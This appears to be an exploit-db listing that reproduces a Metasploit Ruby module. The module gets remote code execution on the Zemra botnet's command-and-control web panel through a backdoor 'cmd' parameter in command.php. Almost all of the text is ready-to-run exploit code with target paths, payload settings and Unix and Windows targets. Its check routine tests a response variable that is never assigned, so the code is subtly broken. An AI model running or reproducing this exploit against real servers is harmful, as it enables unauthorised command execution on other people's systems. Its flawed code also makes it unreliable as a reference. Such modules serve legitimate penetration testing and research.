Zemra Botnet (C2 Web Panel) – Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2015-10-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38402/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => 'Zemra Botnet CnC Web Panel Remote Code Execution',
    'Description'=> %q{
    This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
    inside its leaked source code. Zemra is a crimeware bot that can be used to
    conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Jay Turla <@shipcod3>', #Metasploit Module
    'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
    'Darren Martyn <@info_dox>' #Initial Discovery
    ],
    'References' =>
    [
    ['URL', 'http://0day.today/exploit/19259'],
    ['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
    ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
    ],
    'Privileged' => false,
    'Payload'=>
    {
    'Space'=> 10000,
    'DisableNops' => true,
    'Compat'=>
    {
    'PayloadType' => 'cmd'
    }
    },
    'Platform' => %w{ unix win },
    'Arch' => ARCH_CMD,
    'Targets'=>
    [
    ['zemra panel / Unix', { 'Platform' => 'unix' } ],
    ['zemra panel / Windows', { 'Platform' => 'win' } ]
    ],
    'DisclosureDate' => 'Jun 28 2012',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
    ],self.class)
    end
    
    def check
    txt = Rex::Text.rand_text_alpha(8)
    http_send_command(txt)
    if res && res.body =~ /cmd/
    return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
    end
    
    def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    res = send_request_cgi({
    'method'=> 'GET',
    'uri' => uri,
    'vars_get'=>
    {
    'cmd' => cmd
    }
    })
    unless res && res.code == 200
    fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
    res
    end
    
    def exploit
    http_send_command(payload.encoded)
    end
    end